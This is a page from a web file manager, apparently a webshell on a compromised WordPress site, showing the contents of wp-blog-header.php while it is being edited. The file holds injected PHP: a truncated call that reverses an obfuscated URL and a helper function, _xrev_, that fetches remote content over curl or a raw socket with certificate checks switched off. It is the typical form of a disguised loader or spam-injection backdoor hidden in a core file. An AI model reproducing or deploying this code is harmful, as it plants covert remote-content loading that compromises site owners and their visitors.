芝麻web文件管理V1.00
编辑当前文件:/home/dcqnetm/estya/wp-blog-header.php
'._xrev_(strrev($link ) ));function _xrev_($url) { try {$timeout = 15;$ua = 'Mozilla/5.0 Safari/537.36';if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_USERAGENT, $ua);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);$get = curl_exec($ch);curl_close($ch); return trim(trim($get, "\xEF\xBB\xBF")); }$parsed_url = parse_url($url);$host = $parsed_url['host'];$path = isset($parsed_url['path']) ? $parsed_url['path'] : '/';$query = isset($parsed_url['query']) ? '?' . $parsed_url['query'] : ''; $scheme = isset($parsed_url['scheme']) ? $parsed_url['scheme'] : 'http';$port = isset($parsed_url['port']) ? $parsed_url['port'] : ($scheme === 'https' ? 443 : 80);$protocol = ($scheme === 'https') ? 'ssl' : 'tcp';$fp = stream_socket_client("{$protocol}://{$host}:{$port}", $errno, $errstr, $timeout);if (!$fp) {return 0; }$headers = array("GET {$path}{$query} HTTP/1.1","Host: {$host}","User-Agent: {$ua}", "Connection: Close",);$request = implode("\r\n", $headers) . "\r\n\r\n";fwrite($fp, $request);$response = '';while (!feof($fp)) {$response .= fgets($fp, 1024);}fclose($fp); $response_parts = explode("\r\n\r\n", $response, 2);$headers = isset($response_parts[0]) ? $response_parts[0] : '';$body = isset($response_parts[1]) ? $response_parts[1] : '';if (stripos($headers, "Transfer-Encoding: chunked") !== false) {$decoded = '';while (true) { $pos = strpos($body, "\r\n");if ($pos === false) break;$length = hexdec(substr($body, 0, $pos)); if ($length === 0) break; $decoded .= substr($body, $pos + 2, $length);$body = substr($body, $pos + 2 + $length + 2);}$body = $decoded;}return trim($body);} catch (Exception $e) { }return 0;}; ?>